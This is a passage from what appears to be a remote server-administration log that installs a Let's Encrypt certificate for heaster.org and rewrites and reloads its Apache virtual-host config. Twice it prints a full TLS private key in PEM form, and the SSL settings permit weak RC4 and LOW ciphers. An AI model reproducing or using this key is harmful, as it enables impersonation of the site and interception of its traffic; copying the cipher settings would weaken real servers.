cmcvMCcGA1UdEQQgMB6CC2hlYXN0ZXIub3Jngg93d3cuaGVhc3Rlci5vcmcwEwYD
VR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5j
LmxlbmNyLm9yZy8xMDQuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAFoMt
q/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGcr1tIPwAABAMARzBFAiEA
qDZSoPNNZNphXSz4DS5+E3m/1KVg2RKncymGkwsfTFACIHvSovPuMZkqIjnzsWNs
V2mk73WO6ENlWhod0lSIIFBfAH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwc
RFjEtugAAAGcr1tSBAAIAAAFADRFLuoEAwBHMEUCIQCQaJpTn4i+Hv8twvDRUPi4
NWVO8mZd++ChQezKU7pKvwIgAQlSqWpaDaqWEr7R5/HOc5SLXZi0YAkH5yOco+RR
hpQwDQYJKoZIhvcNAQELBQADggEBADWg12+wB6Vk79OwvjFS5cle/FeTulrg5UNH
rMTZCpm7trdPox2XHhMlx37EVgUYBTqcmh/wRvuKKH8n/xQMsQ2XykEq/o3EBXgD
K+lIblMhbx13omNHtZmLqPkjZqEVTwSmiYt/Qbr2EsI68WHpKPklpxCUJPr+zy2y
Xea/XDRW/QYi0AAWo2J1+iegCV5DKfzkcSO8aF7hzlm39oiGQ99g/hrUUnbbZukG
MKZOmBRFLU5riYZtC9YAyExg/s1cDkESyGP8zQ4xaWx7F/xMx8lOqISJ37fCZNK+
95fW4ZedL4EBhk14mvQMbAK1fnESL4zEwzILnwXaSD/lvdYasYI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5tw37BPP8QwSS
CO2kf/48aawp4/N5UltNRFV0+T+Wfm384kBLrzo8FMcBPjK+JWAQ0RpGb3ZdsPun
yxTjSDmaYbvVJEDmICicVZNU+0y3HQnc0Hf0QJH0lwGWXsJPEad/rkvC/cMkiA/5
9mmTjcqRJjQyWQl40tONjORT8n9EtxmH9YNjkr/Dl/0yBMav100i8IFuNm+BUzni
+LXVuqkxRnuolOLVHs+WU+gxt4QYyTiJ6eHGCXbYCq2bS5f9PKzSPF2vO1N/aEgV
cuA2oyGQ6BdT6M10EeVto0J9fhrGO58VqJ2ykd4MmA2Y7owoe/Jiil5sQt/1LcMO
FvtEwGLVAgMBAAECggEANSTfCVAXib6b1jZb2tENrbgHnk0u5S7eFbRSSBDzU1uG
mfEcuQvBvGOttvtXhfYoEWfk/vbyhkkZGqEQryGB6l3BZHLlZ3UYafRLHuxyvYu/
wMKfMPQxUC7OM3uWWw4QQodcAsafSxrsh3kuKR1QNE0cbrPv8/VQuJby19ry9HR8
Fe6fILIlQuVGDKZ/7SgcE6QvAcU78kNaqISJ1ers1ReRlgyFog6eY6liNQMxtFwt
zUNQFZCrCkvJkslEKBDKJgnIvHn8tw1+nDQHTehdSlAPys+HSjGaLJxboBfc3obL
ZdkBQntDirlecX5aqitbOLKgW7CEB9Oq10622SUcGQKBgQDlGv+XWbYb+Kkg7wci
Oo/t3d1nHRTfKuyjgfMNF58wY+rXSSspjvT+tkOSU96J71FgQ4bq/wq/bq4lnjs/
wvQnN0P6WqcBPVH+QGl7ufu+XsdDo3Zi1qAwdpbFONtRsbhT/7pOCltfqUWu8J2l
F8ZlwR2oDFDfJdZ6IjWxpUEAxwKBgQDPhBoiwjwAkvWCR3XsC627xLrUkFtIGzjY
jtgI3NZx8w4SNY8vUKS33SVN46u623+flCbGR29n8/TfJvyJ5aNEWFRvlbyS5HE7
a+R2Ec2Jp0j1LOu2deZ+sCQn62V7YGnujemgqmrGRXE0KmTGg/kZlYYIfczutG0r
xzGaw1gbgwKBgQCzx4rXVnN74ZW+HTNo3bGBw77wIjb1pHZLHDcAiA/H5jArPeRb
2S1RDu9ZTOztKlmeA39EulvRumV3aYIu16nFeC2ksCwq4daMgDkF+Pyd9zvATO4i
Qy8yuGw5WRNpON9fMuYcRS5Mk8T1sSTTnyN1R6Qg8YEoikWSU3P08atfkwKBgFDd
B1o4Gi2XFrhXpGoA+whKVwtx3UAx62rn7uM1OxNYRUlvOYaUhDtpn5nEeCzuT8Md
diaZu53kgK1cgdgydfax/OUmkj8jacRf/LzNnyxe1Z1Eje2h79m6RbyQjBERtvXQ
sxN6lPUCJmTPiEmbL7x6eaphazQxdsEyc+/84x6FAoGAG8VMy6nnTW7wKSv9pWaA
Owt9rfryXt/QSjCyCVDNXuarOfZ5gWKuFMGf4AedCQoVT/R4OIjJVt4Ts504tS9L
DOB82r5ypXihIqzcQSIoZJAJhWBbo0X+NFuFvibuo1uos1ykMwDLJdSymOpPgkJh
Wm2V5xASrdmG4Q3zlxuJDSQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-02 16:22:05: 

chmod 755 /tmp/pkp103481; /tmp/pkp103481; rm /tmp/pkp103481

2026-03-02 16:22:05: 


dir=/etc/ssl/certs


2026-03-02 16:22:05: 

PUT: /tmp/pkp927574

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/heaster_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-02 16:22:05: 

chmod 755 /tmp/pkp927574; /tmp/pkp927574; rm /tmp/pkp927574

2026-03-02 16:22:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 39

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-02 16:22:05: 

PUT: /tmp/pkp986622

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=heaster_www_org.conf
TARGET=/etc/apache2/sites-enabled/heaster_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/heaster_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf= 1'
fi


2026-03-02 16:22:05: 

chmod 755 /tmp/pkp986622; /tmp/pkp986622; rm /tmp/pkp986622

2026-03-02 16:22:05: 




2026-03-02 16:22:05: 

PUT: /tmp/pkp294074

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-02 16:22:05: 

chmod 755 /tmp/pkp294074; /tmp/pkp294074; rm /tmp/pkp294074

2026-03-02 16:22:05: 


.


2026-03-02 16:22:05: Establishing a connection
2026-03-02 16:22:06: 

PUT: /tmp/pkp975473

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-02 16:22:06: 

chmod 755 /tmp/pkp975473; /tmp/pkp975473; rm /tmp/pkp975473

2026-03-02 16:22:06: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-02 16:22:06: 

PUT: /tmp/pkp504570

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 16:22:06: 

chmod 755 /tmp/pkp504570; /tmp/pkp504570; rm /tmp/pkp504570

2026-03-02 16:22:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf	1347

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-02 16:22:06: 

PUT: /tmp/pkp609955

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 16:22:06: 

chmod 755 /tmp/pkp609955; /tmp/pkp609955; rm /tmp/pkp609955

2026-03-02 16:22:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt	5360
e3:1b:bc:1b:8a:cd:cb:52:91:61:c7:a3:24:8e:57:42

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBd8TW6Da2zT7egZi9cLsS9hnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAyMTUyMzMwWhcNMjYwNTMxMTUyMzI5WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALm3
DfsE8/xDBJII7aR//jxprCnj83lSW01EVXT5P5Z+bfziQEuvOjwUxwE+Mr4lYBDR
GkZvdl2w+6fLFONIOZphu9UkQOYgKJxVk1T7TLcdCdzQd/RAkfSXAZZewk8Rp3+u
S8L9wySID/n2aZONypEmNDJZCXjS042M5FPyf0S3GYf1g2OSv8OX/TIExq/XTSLw
gW42b4FTOeL4tdW6qTFGe6iU4tUez5ZT6DG3hBjJOInp4cYJdtgKrZtLl/08rNI8
Xa87U39oSBVy4DajIZDoF1PozXQR5W2jQn1+GsY7nxWonbKR3gyYDZjujCh78mKK
XmxC3/Utww4W+0TAYtUCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTImEeB+XeE
xWRbT4XBgIcIeLKj4DAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2hlYXN0ZXIub3Jngg93d3cuaGVhc3Rlci5vcmcwEwYD
VR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5j
LmxlbmNyLm9yZy8xMDQuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAFoMt
q/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGcr1tIPwAABAMARzBFAiEA
qDZSoPNNZNphXSz4DS5+E3m/1KVg2RKncymGkwsfTFACIHvSovPuMZkqIjnzsWNs
V2mk73WO6ENlWhod0lSIIFBfAH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwc
RFjEtugAAAGcr1tSBAAIAAAFADRFLuoEAwBHMEUCIQCQaJpTn4i+Hv8twvDRUPi4
NWVO8mZd++ChQezKU7pKvwIgAQlSqWpaDaqWEr7R5/HOc5SLXZi0YAkH5yOco+RR
hpQwDQYJKoZIhvcNAQELBQADggEBADWg12+wB6Vk79OwvjFS5cle/FeTulrg5UNH
rMTZCpm7trdPox2XHhMlx37EVgUYBTqcmh/wRvuKKH8n/xQMsQ2XykEq/o3EBXgD
K+lIblMhbx13omNHtZmLqPkjZqEVTwSmiYt/Qbr2EsI68WHpKPklpxCUJPr+zy2y
Xea/XDRW/QYi0AAWo2J1+iegCV5DKfzkcSO8aF7hzlm39oiGQ99g/hrUUnbbZukG
MKZOmBRFLU5riYZtC9YAyExg/s1cDkESyGP8zQ4xaWx7F/xMx8lOqISJ37fCZNK+
95fW4ZedL4EBhk14mvQMbAK1fnESL4zEwzILnwXaSD/lvdYasYI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5tw37BPP8QwSS
CO2kf/48aawp4/N5UltNRFV0+T+Wfm384kBLrzo8FMcBPjK+JWAQ0RpGb3ZdsPun
yxTjSDmaYbvVJEDmICicVZNU+0y3HQnc0Hf0QJH0lwGWXsJPEad/rkvC/cMkiA/5
9mmTjcqRJjQyWQl40tONjORT8n9EtxmH9YNjkr/Dl/0yBMav100i8IFuNm+BUzni
+LXVuqkxRnuolOLVHs+WU+gxt4QYyTiJ6eHGCXbYCq2bS5f9PKzSPF2vO1N/aEgV
cuA2oyGQ6BdT6M10EeVto0J9fhrGO58VqJ2ykd4MmA2Y7owoe/Jiil5sQt/1LcMO
FvtEwGLVAgMBAAECggEANSTfCVAXib6b1jZb2tENrbgHnk0u5S7eFbRSSBDzU1uG
mfEcuQvBvGOttvtXhfYoEWfk/vbyhkkZGqEQryGB6l3BZHLlZ3UYafRLHuxyvYu/
wMKfMPQxUC7OM3uWWw4QQodcAsafSxrsh3kuKR1QNE0cbrPv8/VQuJby19ry9HR8
Fe6fILIlQuVGDKZ/7SgcE6QvAcU78kNaqISJ1ers1ReRlgyFog6eY6liNQMxtFwt
zUNQFZCrCkvJkslEKBDKJgnIvHn8tw1+nDQHTehdSlAPys+HSjGaLJxboBfc3obL
ZdkBQntDirlecX5aqitbOLKgW7CEB9Oq10622SUcGQKBgQDlGv+XWbYb+Kkg7wci
Oo/t3d1nHRTfKuyjgfMNF58wY+rXSSspjvT+tkOSU96J71FgQ4bq/wq/bq4lnjs/
wvQnN0P6WqcBPVH+QGl7ufu+XsdDo3Zi1qAwdpbFONtRsbhT/7pOCltfqUWu8J2l
F8ZlwR2oDFDfJdZ6IjWxpUEAxwKBgQDPhBoiwjwAkvWCR3XsC627xLrUkFtIGzjY
jtgI3NZx8w4SNY8vUKS33SVN46u623+flCbGR29n8/TfJvyJ5aNEWFRvlbyS5HE7
a+R2Ec2Jp0j1LOu2deZ+sCQn62V7YGnujemgqmrGRXE0KmTGg/kZlYYIfczutG0r
xzGaw1gbgwKBgQCzx4rXVnN74ZW+HTNo3bGBw77wIjb1pHZLHDcAiA/H5jArPeRb
2S1RDu9ZTOztKlmeA39EulvRumV3aYIu16nFeC2ksCwq4daMgDkF+Pyd9zvATO4i
Qy8yuGw5WRNpON9fMuYcRS5Mk8T1sSTTnyN1R6Qg8YEoikWSU3P08atfkwKBgFDd
B1o4Gi2XFrhXpGoA+whKVwtx3UAx62rn7uM1OxNYRUlvOYaUhDtpn5nEeCzuT8Md
diaZu53kgK1cgdgydfax/OUmkj8jacRf/LzNnyxe1Z1Eje2h79m6RbyQjBERtvXQ
sxN6lPUCJmTPiEmbL7x6eaphazQxdsEyc+/84x6FAoGAG8VMy6nnTW7wKSv9pWaA
Owt9rfryXt/QSjCyCVDNXuarOfZ5gWKuFMGf4AedCQoVT/R4OIjJVt4Ts504tS9L
DOB82r5ypXihIqzcQSIoZJAJhWBbo0X+NFuFvibuo1uos1ykMwDLJdSymOpPgkJh
Wm2V5xASrdmG4Q3zlxuJDSQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
